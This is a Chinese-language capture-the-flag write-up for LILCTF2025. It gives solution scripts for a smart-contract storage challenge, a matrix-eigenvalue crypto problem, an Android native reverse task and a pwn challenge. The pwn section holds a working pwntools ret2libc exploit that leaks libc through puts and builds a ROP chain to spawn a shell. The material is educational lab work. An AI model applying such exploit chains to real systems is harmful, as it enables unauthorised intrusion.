contract_address = "0x5cbc5d6146fC71220aFeF28F4208EE5E5b799bCd"
w3 = Web3(Web3.HTTPProvider(rpc_url))

treasure_data = b""

slot0 = w3.keccak(hexstr="0x0000000000000000000000000000000000000000000000000000000000000000").hex()
slot1 = int(slot0, 16) + 1
slot1 = hex(slot1)

slot0_data = w3.eth.get_storage_at(contract_address, slot0)
slot1_data = w3.eth.get_storage_at(contract_address, slot1)

treasure_data = slot0_data + slot1_data
treasure = treasure_data[:46]
print(treasure)

#b'XVJk\x06\x02\x00\x00\x01\x00\x01__\x06L9\x00\x02\x00]\x04\x07\x01S^WL9\x06\x00\x00\x00\x01\x00\x00\x00^VJl\x01\x07\x07^\x05W'

真难看,不过我们还没有解密
接下来逆向解密代码(懒得看了ai写的解密代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
key_hex = "35b2bcaf9a9b9a1c19199ab3"
val = 0x35b2bcaf9a9b9a1c19199ab3
shift = 161
res = (val << shift) & ((1 << 256) - 1)
key_32_bytes = res.to_bytes(32, 'big')
key = key_32_bytes[:12]


# The input data is XORed with the key repeating

decrypted_treasure = bytearray()
for i in range(len(treasure)):
    decrypted_treasure.append(treasure[i] ^ key[i % len(key)])
   
print(f"Key: {key.hex()}")
print(f"Calculated Input (Treasure XOR Key): {decrypted_treasure.hex()}")
#Key: 6b65795f3537343832333566
#Calculated Input (Treasure XOR Key): 33333334333534383333343934633566353534653634343535323566333734383333356635333333343033663764

接下来构造payload

1
2
3
4
5
6
7
final_payload = "0x5cc4d812" + "0000000000000000000000000000000000000000000000000000000000000020" # 函数和偏移量

final_payload += hex(len(decrypted_treasure))[2:].zfill(64) # 长度(92)

final_payload += decrypted_treasure.hex().ljust(64, '0') # 数据
print(final_payload)
# 0x5cc4d8120000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002e33333334333534383333343934633566353534653634343535323566333734383333356635333333343033663764

call一下,没有回滚,成功了

1
2
3
4
result = w3.eth.call({
        'to': contract_address,
        'data': final_payload
    })

实际上,可以发现payload就是构造函数的传入参数:),而且hex解码之后就是flag的后半部分

Crypto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from Crypto.Util.number import long_to_bytes

def legendre(a, p):
ls = pow(a, (p - 1) // 2, p)
return -1 if ls == p - 1 else ls

def sqrt_mod(a, p):
if legendre(a, p) != 1: return 0
if a == 0: return 0
if p % 4 == 3: return pow(a, (p + 1) // 4, p)

S, Q = 0, p - 1
while Q % 2 == 0:
S += 1
Q //= 2

z = 2
while legendre(z, p) != -1: z += 1

M, c, t, R = S, pow(z, Q, p), pow(a, Q, p), pow(a, (Q + 1) // 2, p)

while t != 1:
if t == 0: return 0

i, temp_t = 0, t
while temp_t != 1:
temp_t = pow(temp_t, 2, p)
i += 1
if i == M: return 0

b = pow(c, pow(2, M - i - 1, p - 1), p)
M, c = i, (b * b) % p
t, R = (t * c) % p, (R * b) % p

return R

p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161
C = [[7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645,7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801],[7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808,2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872]]

c11, c12 = C[0][0], C[0][1]
c21, c22 = C[1][0], C[1][1]

tr = (c11 + c22) % p
det = (c11 * c22 - c12 * c21) % p

delta = (tr * tr - 4 * det) % p
sqrt_d = sqrt_mod(delta, p)

inv2 = pow(2, -1, p)
l1 = ((tr + sqrt_d) * inv2) % p
l2 = ((tr - sqrt_d) * inv2) % p

f1 = long_to_bytes(l1)
f2 = long_to_bytes(l2)

try: print(f"LILCTF{{{(f1 + f2).decode()}}}")
except: pass

try: print(f"LILCTF{{{(f2 + f1).decode()}}}")
except: pass

Misc

提前放出附件

de95490e1078ab9e42fa5f8950b632f4

f23fe05930b1cbed34032941d6313053

45e281001472098468c1d9b3e7b43b30

v我50RMB

数据库的信息是webp导致保存下来的是截断的图片,但是实际服务器上储存的是png文件,通过抓包可以知道

image-20250817224347607

1

PNG Master

224447_misc-PNG_M@st3r

文件尾藏了一个

image-20250817224545745

RGB

image-20250817224611457

binwalk

image-20250817224748236

image-20250817224855179

2cfab8a9e2e5450ba963b11a32c38fa4

Re

ASM ASM

使用jadx打开apk文件,在AndroidManifest.xml中找到主页面work.pangbai.ez_asm_hahaha.MainActivity

img

发现程序的基本流程是对输入的字符串用check函数加密后,与KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S进行对比校验,而check函数是在ez_asm_hahaha.so这个库中实现的

image-20250818150639078

于是我们可以将ez_asm_hahaha.so提取出来,放入IDA进行逆向。

通过分析我们得知加密过程就是下面这一段。整个程序具体过程如下:

  1. 输入字符串必须是48字节长度
  2. 有一个变换过程,使用了NEON指令进行异或和表查找操作
  3. 接着有一个位操作的循环
  4. 最后进行Base64编码
  5. 目标输出是:”KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S”

img

值得注意的是,这里的base64进行了换表

img

然后依照程序流程逆向实现一遍即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

const char base64[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/";

const uint8_t t[] = {0xD, 0xE, 0xF, 0xC, 0xB, 0xA, 9, 8, 6, 7, 5, 4, 2, 3, 1, 0};

char* decodeBase64(const char* input, int* output_len) {
int len = strlen(input);
int decode_table[256];

memset(decode_table, -1, sizeof(decode_table));
for (int i = 0; i < 64; i++) {
decode_table[(unsigned char)base64[i]] = i;
}

char* result = malloc(3 * (len / 4) + 1);
int out_pos = 0;

for (int i = 0; i < len; i += 4) {
int val = 0;
for (int j = 0; j < 4; j++) {
if (i + j < len && input[i + j] != '=') {
val = (val << 6) | decode_table[(unsigned char)input[i + j]];
} else {
val = val << 6;
}
}

result[out_pos++] = (val >> 16) & 0xFF;
if (input[i + 2] != '=') {
result[out_pos++] = (val >> 8) & 0xFF;
}
if (input[i + 3] != '=') {
result[out_pos++] = val & 0xFF;
}
}

result[out_pos] = '\0';
*output_len = out_pos;
return result;
}

void reverse_bit_operations(char* data, int len) {
for (int j = 0; j < len; j += 3) {
if (j + 2 < len) {

uint8_t temp1 = data[j + 1];
data[j + 1] = ((temp1 << 1) & 0xFE) | ((temp1 >> 7) & 0x01);

uint8_t temp0 = data[j];
data[j] = ((temp0 << 5) & 0xE0) | ((temp0 >> 3) & 0x1F);
}
}
}

void reverse_neon_transform(uint8_t* data) {
uint8_t v10_states[4][16];

memcpy(v10_states[0], t, 16);

for (int i = 0; i < 3; i++) {
memcpy(v10_states[i + 1], v10_states[i], 16);
for (int k = 0; k < 16; k++) {
v10_states[i + 1][k] ^= i;
}
}

for (int i = 2; i >= 0; i--) {
uint8_t* current_v10 = v10_states[i];

for (int j = 0; j < 16; j++) {
data[16 * i + j] ^= current_v10[j];
}

uint8_t temp_block[16];
memcpy(temp_block, &data[16 * i], 16);

for (int j = 0; j < 16; j++) {
data[16 * i + current_v10[j]] = temp_block[j];
}
}
}

int main() {
const char* target = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S";

printf("开始逆向分析...\n");
printf("目标字符串: %s\n", target);

int decoded_len;
char* decoded = decodeBase64(target, &decoded_len);
printf("Base64解码后长度: %d\n", decoded_len);

printf("解码后的十六进制数据:\n");
for (int i = 0; i < decoded_len; i++) {
printf("%02X ", (unsigned char)decoded[i]);
if ((i + 1) % 16 == 0) printf("\n");
}
printf("\n");

printf("\n逆向位操作...\n");
reverse_bit_operations(decoded, decoded_len);

printf("逆向位操作后的十六进制数据:\n");
for (int i = 0; i < decoded_len; i++) {
printf("%02X ", (unsigned char)decoded[i]);
if ((i + 1) % 16 == 0) printf("\n");
}
printf("\n");

printf("\n逆向NEON变换...\n");
if (decoded_len >= 48) {
reverse_neon_transform((uint8_t*)decoded);

printf("逆向NEON变换后的十六进制数据:\n");
for (int i = 0; i < 48; i++) {
printf("%02X ", (unsigned char)decoded[i]);
if ((i + 1) % 16 == 0) printf("\n");
}
printf("\n");

printf("可能的FLAG (ASCII): ");
for (int i = 0; i < 48; i++) {
if (decoded[i] >= 32 && decoded[i] <= 126) {
printf("%c", decoded[i]);
} else {
printf("\\x%02X", (unsigned char)decoded[i]);
}
}
}

free(decoded);
return 0;
}

Pwn

签到

利用puts泄露出全局libc地址,构造ROP执行system(“/bin/sh”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
context.os = "linux"
context.arch = "amd64"

elf = ELF("./pwn")
libc = ELF("./libc.so.6")

p = process("./pwn")
# p = remote("challenge.xinshi.fun", 49977)
pop_rdi = 0x0000000000401176
payload = (
b"A" * 0x70
+ p64(elf.bss() + 0x200)
+ p64(pop_rdi)
+ p64(elf.got["puts"])
+ p64(elf.plt["puts"])
+ p64(elf.sym["main"])
)
# gdb.attach(p)
p.sendlineafter(b"What's your name?\n", payload)
puts_addr = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success(f"puts: {hex(puts_addr)}")
libc.address = puts_addr - libc.sym["puts"]

payload = (
b"A" * 0x70
+ p64(elf.bss() + 0x200)
+ p64(libc.address + 0x0000000000029139) # pop rax; ret;
+ p64(pop_rdi)
+ p64(libc.address + 0x00000000001d8678)
+ p64(libc.sym["system"])
)
p.sendlineafter(b"What's your name?\n", payload)
p.interactive()
  • Title: LILCTF2025 WriteUp
  • Author: lzz0403
  • Created at : 2025-08-31 00:00:00
  • Updated at : 2026-05-03 12:19:02
  • Link: https://www.cnup.top/2025/08/31/LILCTF2025 WriteUp/
  • License: This work is licensed under CC BY-NC-SA 4.0.